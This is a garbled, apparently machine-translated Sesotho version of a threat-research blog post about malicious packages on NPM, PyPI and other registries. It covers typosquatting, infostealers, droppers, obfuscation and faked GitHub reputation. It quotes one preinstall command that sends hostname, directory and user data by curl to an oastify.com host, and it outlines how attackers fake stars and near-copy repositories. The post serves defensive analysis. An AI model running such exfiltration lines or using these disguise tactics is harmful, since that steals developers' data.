Karolong e fetileng, Liphutheloana tse Hlokang Mohloli o Bulehileng: Bothata, re buisane ka hore na ke hobane'ng ha baetsi ba litšokelo ba ne ba le joalo tjhesehela ho phatlalatsa dikarolo tse ntjha tse kotsi kapa ho kenya malware diphetolelong tsa moraorao tsa dikarolo tse seng di ntse di le teng: Meralo ya motheo ya mohlodi o bulehileng e dumella mang kapa mang kae kapa kae ho theha ak'haonte ya nakwana ho ngoliso ea likarolo (joalo ka NPM, PyPI, Docker Hub kapa Visual Studio Marketplace) kapa sethaleng sa nts'etsopele ea tšebelisano-'moho (joalo ka GitHub). Ha ho litšenyehelo, 'me ho na le menyetla e mengata ea ho sebelisa tšepo e feteletseng eo lihlopha tsa software li nang le eona ka tloaelo likarolong tsa mokha oa boraro.
Ho se leka-lekane pakeng tsa hore na ho bonolo hakae hore bahlaseli ba phatlalatse malware ba sebelisa meralo ea motheo e fumanehang bakeng sa mohloli o bulehileng, le hore na ho thata hakae hore mekhatlo e hlahisang software (bohle?) e qobe ho tšoaetsoa ke malware (le ho fana ka malware ho software eo ba e abang bakeng sa ba bang), ho lebisitse ho letšoao la kotara ea milione la liphutheloana tse kotsi tse batlang li fihletsoe selemong se fetileng.
Bothata bona bo boholo hoo ho seng mokhatlo o le mong o ka bo rarollang, 'me sechaba se ntse se le mothating oa ho fetola mokhoa oa mohloli o bulehileng mabapi le ts'epo, melao-motheo ea ts'ireletso-ka-boemo le ts'ireletso-ka-moralo, le potoloho ea bophelo ea likarolo. Re tla sheba mehopolo e joalo karolong e latelang. Ho Sireletsa Khahlanong le Liphutheloana Tse Kotsi Tsa Mohloli o Bulehileng: Ke Eng e Sebetsang (E sa Sebetseng).
Hopola hore re bua ka likarolo tsa software tseo boholo ba nako li tsamaellanang le tsona liphutheloana tsa software: dikarolo tse ka sebediswang hape di pakilwe e le hore di ka suptjwa e le ho itshetleha ho manifest ya software, mme di kentswe ka mookameli wa sephutheloana kapa sesebelisoa sa kaho. Ka kopo hlokomela hore nyeoe ena e ka atoloswa ho kenyeletsa setjhaba litšoantšo tsa setshelo (e sebediswa ke di-runtime tsa dikhonteinara le di-platform tsa orchestration jwalo ka Kubernetes), le katoloso ho lisebelisoa tsa software (bakeng sa kaho, boiketsetso, le ho kenngoa ha thepa).
Mona re sekaseka kamoo sena se leqheka la tlhaselo le thehiloeng likarolong tse kotsi e sebetsa, ho latela mehlala e fetileng le seo re se boneng sethaleng sa rona sa Temoso ea Pele ea Malware (MEW). Re tla arola dikarolo tse kotsi ka boholo bo fapaneng:
(1) tsela e khethiloeng bakeng sa kabo (ngoliso e sebelisitsoeng, karolong e ncha kapa e seng e ntse e le teng, le mokhoa o sebelisitsoeng bakeng sa ho tšoaetsa mofuta oa karolo o phatlalalitsoeng), (2) kamoo malware e kenngwang tshebetsong kapa e hlohlelletswang kateng, (3) boitshwaro bo bobe ke hore na ke diketso dife tse kotsi tse bonwang le hore na ke eng e susumetsang mohlaseli, (4) hore na ke mekgwa efe e tlwaelehileng bakeng sa ho patisa, ho ipata bakeng sa ho se hlokomelehe, motsamao o ka thoko, puisano le baamoheli ba taelo le taolo (C2), jj.; le (5) mekgwa ya ho fumana botumo bo lekaneng le tshepo e le hore bahlaseluoa ba qetelle ba kentse karolo.
Mokhoa oa Kabo o Khethiloeng
Re bona “lerata le ka morao"ea liphutheloana tse se nang tsebo tse sebelisang mongolo o hlabang ho thetsa bahlahisi ba sa hlokomeleng ba nang le mongolo o hlabang lebitsong la sephutheloana ka lebaka la ho itšetleha ha bona. Liphutheloana tse ngata tse tsebahalang li fumana letoto la liphutheloana tse nang le mabitso a tšoanang tse nang le mongolo o hlabang, ka tebello ea hore li tla thetsa bahlahisi ba bang ba sa hlokomeleng.
Ba sebelisa ak'haonte ea nakoana, ba phatlalatsa sehlopha sa liphutheloana tsa mongolo oa typosquat, ba theha e 'ngoe, 'me ba phatlalatsa sehlopha se seng… Ka ho sebelisa boiketsetso le bohlale bo itseng ba ka fumana boqhetseke bo itseng, empa hangata ha li na thuso. Re li bitsa ka hare “li-anchovieSepheo se seholo ke ho utsoa mangolo a boitsebiso, empa ka linako tse ling re fumana hore li-spyware li ntša khoutu ea mohloli kapa lintlha tse hlokolosi tse kang tlhahisoleseling e khethollang motho ka mong (PII), ho hapa clipboard, le lipelaelo tse ling.
Ha re qala ho bona likarolo tse rarahaneng le tse kotsi, "lishaka". Tse fokolang li reretsoe lihlopha kapa mekhatlo e itseng, hangata ka li-drainage tsa crypto kapa li-skimmer tsa webo tse sebetsang ka maemo a itseng, mohlomong ho latela mokhoa o bonoang ho ketsahalo e phallelang ketsahalong ea ho hlakola molaetsa oa tlhaselo ha feela sephutheloana se qotsitsoe ho tsoa sephutheloana se reretsoeng.
Mokhoa oa kabo o hlahlobiloe pampiring e ntle haholo eo hona joale e leng ea khale, “Pokello ea Thipa ea Backstabber: Tlhahlobo ea Litlhaselo tsa Ketane ea Phepelo ea Software ea Mohloli o Bulehileng", e leng ntho eo u lokelang ho e bala. Ka sebele u kile ua bona chate ena e ntle pele:

Mekhoa eohle e ile ea hlahlojoa, ho kenyeletsoa le liphutheloana tse ncha le tse seng li ntse li le teng; tse amang khoutu ea mohloli, sistimi ea kaho, kapa karolo e phuthetsoeng ka boeona; ho sebelisoa mangolo a tumello a utsoitsoeng kapa boenjiniere ba sechaba; ho utsoa liakhaonto tse lahliloeng le libaka tsa polokelo kapa ho chefo tse bolokiloeng. Litlhaselo tse ling li ile tsa fuoa mabitso (Mofuta o mong, Pherekano ea ho itšetleha, Pherekano e Bonahalang, Ho jara hape. jj.) mme di se di buisantswe sebakeng se seng.
Ho thoe'ng ka li-registry tse khethiloeng?
NPM e ntse e etella pele palong yohle ya diphutheloana tse kotsi, empa re bone keketseho e kgolo e qalang selemong sena ho PyPI. Python ke tikoloho e tsebahalang bakeng sa saense ya data le ho ithuta ha mochini. Ha e le hantle, bongata ba malware jwale bo hodimo ho PyPI ho feta ho NPM.
Mokhoa oo malware e qalang ka oona
Liphutheloana tse kotsi li qala nakong ea ho kenya maemong a 4 feela ho a 10 (lilemong tsa morao tjena e ne e le haufi le a 6 ho a 10). Tse ling kaofela li qala ka mokhoa o kotsi nakong ea ts'ebetso, 'me e le 1 ho tse 100 e qala ha ho ntse ho etsoa liteko. Ho bonahala bahanyetsi ba tseba hore ts'ebetso e sa laoleheng ea li-script tsa ho kenya e emisitsoe libakeng tse ngata.
Batho ba babe ba fumana eng?
Re tla thathamisa mekhahlelo ea boitšoaro bo kotsi, 'me e tsebahalang haholo ke eona ea pele. Ka kopo hlokomela hore tšusumetso e ka fapana haholo: a hlakola e senya ka manganga, empa ha e tloaelehe 'me e bonoa maemong a' maloa feela, a amanang le matšolo a ntoa a shebiloeng ka inthanete kapa bosholu ba hacktivism. Lihlopha tse latelang li atile haholo:
- Infostealer / Credentials Drainer. Ha e le hantle, litlhaselo tse sa tloaelehang tse fetang 90% ke tsa bosholu tse bonolo tse batlang mangolo a tumello joalo ka li-password, li-token tsa phihlello, linotlolo tsa API, le linotlolo tsa poraefete (bakeng sa SSH le tse ling). Mohlomong ke eona e bonolo ka ho fetisisa ho e ngola (hammoho le li-wipers?). Li thathamisa lifaele/li-directory tse tsejoang le mehloli e meng (mohlala, linotlolo tsa ngoliso), li paka litaba, 'me li romela data eo ho seva sa C2. Khopolo e bonolo: "Ke phatlalatsa lengolo la bosholu bakeng sa mangolo a tumello ea phishing, kahoo nka sebelisa mangolo a tumello hamorao bakeng sa ho qala tlhaselo e lebisitsoeng".
Marangrang a C2 a bonoang hangata a theko e tlase ebile a litšila, joalo ka liteishene tsa Telegram kapa lisebelisoa tsa ho betla lithanele tse kang tsa ngrok (hangata ka sebopeho sa li-proxies tse ka morao tse pepesitsoeng ka li-IP tsa VPN tsa ho tsoa). Ho na le menyetla e makholo (!), ka merero e mengata ea GitHub tlas'a sehlooho sa moutsoi oa li-password. Ditsebi tse ikgethang tse kang di-keylogger ha di fumanehe hangata bakeng sa diphuthelwana tse kotsi le ditshwantsho tsa dijana, empa di atile haholo dikatolosong tsa disebediswa, moo ho lebellwang hore ho be le tshebedisano-mmoho le mosebedisi.
- Mohlahisi / Moqoqisi. Ea bobeli e tummeng, hangata e tla pele litlhaselong tsa mekhahlelo e mengata. Likarolo tse fetang e le 'ngoe ho tse tharo tse kotsi li na le li-dropper (haeba payload e kotsi e kenyelelitsoe ka har'a sephutheloana) kapa li-downloader (payload e jarollotsoe ho tloha pheletsong tlas'a taolo ea mohlaseli). Payload hangata ke mofuta o tsebahalang oa malware ea binary, 'me e tsamaisoa' me ka linako tse ling e tsoela pele, bakeng sa ho kenya li-backdoors, spyware, li-drainers tsa crypto, le linyeoe tse ling tsa ts'ebeliso. Payload e jarollotsoeng kapa e sebelisitsoeng e qala tlhaselo ea mohato oa bobeli ka matla ohle a fanoang ke li-binary tsa malware tse teng. Li-binary li ka ajoa ka har'a sephutheloana, hangata li iketsa eka ke litšoantšo kapa mefuta ea lifaele e nkoang e se na kotsi, ho qoba ho fumanoa ha ho hokahanngoa le libaka tse sa lebelloang.
- Basholu ba Chelete ea Dijithale / Baepolli ba Merafo. Lira tse susumetsoang ke lichelete li ikemiselitse ho sebelisa matlotlo a hau a leru bakeng sa ho tsamaisa li-cryptominers (li bile li lemoha hore na li sebetsa ho VM ea leru). Ha li tsotelle ka karolelano ea phaello e tlase ea $1 bakeng sa $53 e 'ngoe le e 'ngoe e lefisoang ho motho ea hlokofalitsoeng bakeng sa meralo ea motheo ea leru e utsoitsoeng. Bahlaseluoa ba kanna ba se tsebe sena ho fihlela ba fumana bili e sa lebelloang. Ka lehlohonolo, sena sea tla 'me sea fela. Ho khabisa matšolo a liphutheloana tse kotsi a hlaha ka linako tse ling ebe aa nyamela, a phishing bakeng sa basebelisi ba sepache kapa qetellong a shebane le mofani oa sepache, joalo ka ha ho le joalo ho Tlhaselo ea li-ledger.
Mekhoa e meng, joalo ka ho kenya backdoor bakeng sa ho phethahatsa khoutu e hole ka ho bula khetla e kgutlisang morao ha se hangata haholo jwale ho feta nakong e fetileng. Mohlala, 123rf_contributor_web sephutheloana (se tlosoang ho ngoliso) se buleha ntle le ho patoa khetla e ka morao e kopilitsoeng le ho khomaretsoa ho tsoa ho Leqephe la ho qhekella la Shell e Khutlileng:

Ntle le likarolo tse molaong le tse kotsi, re bone tlhekefetso e 'maloa, ho kenyeletsoa:
Liphutheloana tsa spam
Ho na le liphutheloana tse likete tse nyane, boholo ba tsona ho NPM, tse se nang malware empa li tšepisa ho fumana chelete e bonolo, oli ea linoha, lihokelo tsa lits'ebeletso tsa Viagra, le tse ling tse joalo. Basebelisi ba 'maloa ba phatlalatsa spam e joalo' me ba nka bandwidth e ngata ho tsoa ho ngoliso. Sebapali se seng mohlomong se tsoang Indonesia se lekile ho fumana melemo ka ho sebelisa hampe teaRank e reretsoeng ho lefella bahlahisi ba mohloli o bulehileng, ka ho theha likete tse mashome tsa liphutheloana tsa NPM tse amanang le li-repositories tse amanang le GitHub dummy. Ena ke tlōlo e totobetseng ea melao ea ts'ebeliso.
Mashano a lipatlisiso tsa tšireletseho le tsa boiketsetso
Ha sephutheloana se itlhalosa e le ho ntša data bakeng sa merero e metle, joalo ka ho lemoha mefokolo ea ts'ireletso bakeng sa mananeo a bug bounty kapa ho batlisisa likarolo tse itseng tsa tikoloho. Re bone liphutheloana tse likete sehlopheng sena, tse latang boitsebiso empa e seng lintlha tse tebileng haholo ho aterese ea Burp Collaborator ho tsoa ho PortSwigger (mohlala, moamoheli sebakeng sa oastify.com). Re hlokometse hangata likopi tsa Pherekano ea ho itšetleha bopaki ba khopolo-taba ke Alex Birsan, joalo ka aurora-webmail-pro sephutheloana (se tlositsoeng ho ngoliso), se tsamaisang khoutu ena e mpe ho script ea pele ho ho kenya:
exec("a=$(hostname; pwd; whoami; echo 'aurora-webmail-pro'; curl http://kmauspo6z5noqllvwu0oj6lqahg84ysn.oastify.com/;) && echo $a | xxd -p | head | while read ut; do curl -k -i -s http://kmauspo6z5noqllvwu0oj6lqahg84ysn.oastify.com/$ut;done") Hape e ne e kenyelletsa "Ena ke Bopaki bo Bonolo ba Tlhaselo ea Pherekano ea ho ItšetlehaTlhaloso ea boitlhotlhollo ho sejana.jsonEna ke tlōlo e totobetseng ea melao ea ts'ebeletso, leha e se na sepheo se kotsi.
Litaba tse monate? Ha re so bone (hajoale) litlhaselo tsa ransomware tse tlisoang ka likarolo tse kotsi. Ka mabaka a sa tsejoeng, linokoane tsa inthanete li bonahala li khetha mekhoa ea setso ea phishing ea imeile, e thehiloeng ho RDP, le ea ho jarolla ka drive-by.
Mekhoa e Eketsehileng e Bonoeng

Mekhoa e mengata e sebelisitsoe bakeng sa ho phehella, ho qoba tšireletso, ho bokella tlhahisoleseling, puisano le baamoheli ba taolo le taolo, le ho ntša lintho tse ling.
Mamello ho likarolo tse kotsi ho fumanoa ka ho sebelisa likarolo tsa ho phehella ho malware ea binary ea mohato oa bobeli, empa ka linako tse ling boitšoaro bo fumaneha khoutung ea sephutheloana, 'me mesebetsi e reriloeng le liphetoho ho ngoliso ea Windows ke tsona tse tloaelehileng haholo.
Bofuscation e tloaelehile, empa ha ea rarahana. Liphutheloana tse ngata tsa ho ngola ka mongolo o sa tloaelehang (hopola "li-anchovie"?") ha ba sebelise obfuscation ho hang; ba bangata ba sebelisa tse sa reng letho (base64/hex encoding kapa li-ciphers tsa substitution joalo ka rot13) kapa ba sebelisa li-code obfuscators le minification tse fumanehang, tse ka fetoloang habonolo ka lisebelisoa tse nepahetseng. Ke "lishaka" feela tse etsang 'nete, e thata, e thata ho e lokisa, e thata ho e fetola.
Ho se tsebe hantle ho ka pata tlhaselo, empa ke hobane'ng ha khoutu karolong ea mohloli o bulehileng e hloka ho se tsebe hantle? Na ho na le bopaki ba hore ho na le ho hong ho hlokang ho patoa ponong e hlakileng? Re fumane mehlala e mengata ea liphutheloana tse seng kotsi tse sebelisang ho se tsebe hantle ho sireletsa thepa ea kelello, e leng se hanyetsanang le "mohloli o bulehileng". Ho se tsebe hantle ho ka sebelisoa e le bopaki ba malware, empa ha se qeto. Ho thata hape ho se tsebe hantle.
Pholoha ho tsoa taolong ea tšireletso ho sebelisa mekhoa e bonolo. Khoutu e kotsi hangata e sirelelitsoe ho leka … tšoara diboloko tse hlokomolohang mekhelo efe kapa efe, kahoo mosebetsi o sa tloaelehang ha o bontšoe li-log. Netefatso ea tikoloho (e sebetsang ka har'a VM kapa setshelo) ha e fumanehe hangata, ntle le haeba malware e shebane le mokhatlo kapa tikoloho e itseng.
Ho pata di-binary ditshwantshong le difaeleng tsa PDF (mofuta wa steganography) e ne e le mokgwa o mong o bonwang ho qoba ho fumanwa.
Kaha likarolo tse kotsi tse atileng haholo ke li-infostealers, pokello ea lintlha ke ea bohlokoa. Liphiri (li-password, li-token tsa phihlello, linotlolo tsa API, linotlolo tsa cryptographic) li hlahlojoa khafetsa lifaeleng tsa log, mefuta-futa ea tikoloho, esita le clipboard (e bonoang ka li-trojan tsa banka le ba utsoang li-crypto). Ho ntša khoutu ea mohloli le hona ho tloaelehile, kaha ho kenngoa ha sephutheloana hangata ho etsoa sebakeng sa nts'etsopele moo libaka tsa polokelo ea git tsa kahare li ka 'nang tsa etsoa clone. Re bone liphutheloana tse thathamisang li-directory li batla libaka tsa polokelo ea git. Ho batla libaka tse kang .env, private.pem, settings.py, app.js, kapa application.properties ho tloaelehile haholo.
Ho sefa ke ketso e 'ngoe e sebelisoang haholo. Ke liphutheloana tse 'maloa feela tse kotsi tse lekang ho pata moo data e ntšitsoeng teng. Mechine ea telegram le lithanele tse kang tsa ngrok li sebelisoa hangata. 'Me ho na le tse ngata hangata libaka tse amohetsoeng li sebelisetsoa ho ntša metsi.
Mekhoa e meng, joalo ka ho eketseha ha litokelo kapa ho sisinyeha ka lehlakoreng, e ne e sa tloaeleha haholo.
Ho Fumana Botumo le Tšepo
Ak'u nahane ka lesholu la theknoloji le nang le ntho e lokisitsoeng ea 'molai ea lonya ea ipotsang: "Nka etsa joang hore karolo ena ea s#$! e tšepahale ho maoatla ao a sa belaelleng letho?".
Seo se fetolela mokhoa oa ho etsa hore karolo e kotsi e bontše linaleli / lifereko tse ngata (bakeng sa botumo), hammoho le mefuta / mathata le pull requests (bakeng sa mosebetsi). Morero ke ho fumana botumo ba boiqapelo (linaleli) le batho ba itšetlehileng ka bona, le ponahalo e kholisang mabapi le bohlokoa le tlhokomelo.
Rejistara ha e hlahlobe hore na dikahare tsa projeke ya GitHub le dikahare tsa sephutheloana di a tshwana. Ena ke bothata bo tsebahalang haholo ketane ea phepelo ea software. Lingoliso tsa sechaba ke likoti tse khōlō tse metsang ntho e 'ngoe le e 'ngoe e lahleloang ho tsona. U ka hokahanya polokelo efe kapa efe.

Haeba ho ngola ka phoso sephutheloana se kotsi ho atile, ho bonolo: sheba feela polokelo ea GitHub e teng ho manifest e sebelisoang ho theha sephutheloana le ho se phatlalatsa ho ngoliso. Bakeng sa liphutheloana tse ncha ho repo ea GitHub ea bohata, u ka 'na ua hloka bohlale bo eketsehileng, mohlomong u thehe bohata. ho sheba linaleli/ho fereko Liakhaonto tsa GitHub ka ho ngola mongolo.
Haeba dikahare tsa sephutheloana sa hao di tshwana hantle le repo, kenya diphetoho tse mmalwa tse entsweng hantle mona le mane… O ka kenya malware ya hao ka hara sephutheloana se setjha se tshwanang le se tsebahalang se buang ka polokelo ya sona e seng e ntse e le teng, mme o emele diphoso tsa ho ngola. Haeba mang kapa mang a iteta sefuba ho bapisa dikahare tsa tarball ya sephutheloana le dikahare tse tswang polokelong ya GitHub, dipharologanyo tse dintlheng tsa ente ya malware di ka fosahala habonolo. Re bone mokgwa ona ka makgetlo a mangata pele.
Mokhoa oa hore karolo e etse polelo e sa senyeheng mabapi le tšimoloho, hore na sephutheloana se hahiloe joang, ho tsoa mehloling efe, le hore na ke mang, se tla amoheloa. Empa eo ke pale e 'ngoe.
Na karolo ea X ke malware?
Na ho na le database (e felletseng) ea liphutheloana tse kotsi? Tjhe. Bofokoli ba mohloli o bulehileng bo na le ID ea CVE e abetsoeng, empa ke liphutheloana tse 'maloa feela tse kotsi (haholo-holo tse etsang lihlooho tsa litaba) tse fuoang e le' ngoe. CWE bakeng sa liphutheloana tse kotsi ke CWE-506 (khoutu e mpe e kentsweng).
Lisebelisoa tse tloaelehileng tsa malware (VirusTotal, MalwareBazaar, SOREL-20M…) ha li etse litokisetso tse tobileng bakeng sa likarolo tse kotsi. Seo se ka amoheleha!
Ho na le di-database tsa mehlala ya dipatlisiso le di-dataset bakeng sa tlhahlobo (re sebedisa tse mmalwa tsa tsona), empa dingolwa di ntjhafatswa feela ha sephutheloana se kotsi se tsejwa, e leng hangata se leng morao haholo. Haeba o na le thahasello, OpenSSF Liphutheloana tse mpe ke qalo e ntle.
Posong e latelang, re tla buisana ka mokhoa oa ho tseba hore na sephutheloana se fanoeng se na le kotsi. Spoiler: e, ho na le litsela tsa ho hlahloba likarolo tse kotsi qalong ea fensetere ea ho pepesehela, pele ngoliso e tlosa karolo e tsebahalang e nang le kotsi.
Ho bala hape
Karolong e latelang “Ho Sireletsa Khahlanong le Liphutheloana Tse Kotsi Tsa Mohloli o Bulehileng: Ke Eng e Sebetsang (E sa Sebetseng)" re tla buisana ka lintho tse lokelang ho etsoa le tse sa lokelang ho etsoa bakeng sa ts'ireletso ea mohloli o bulehileng. Litsebi tse ngata tse elang hloko tšireletso li na le temohisiso ea hore na li ka sebetsana le tšokelo ena joang, empa likhopolo tse fosahetseng lia ata.
Re tla hlahloba hore na ke hobane'ng ha mehopolo ena e fosahetse, le hore na maikutlo a fosahetseng a joalo a tlatsetsa joang botumong ba mokhoa ona oa tlhaselo, le kotsing e kholo eo mekhatlo e e fumanang. Joale re tla tsoela pele ka se sebetsang, le hore na boiteko le lisebelisoa tse amehang ke life.
Hape, re tlo ngola ka ho iphetola ha dipakete tse kotsi mabapi le sepheo sa tsona, mokgwa wa ho kenya dikente, le mekgwa ya tlhaselo.
Lula u mametse!






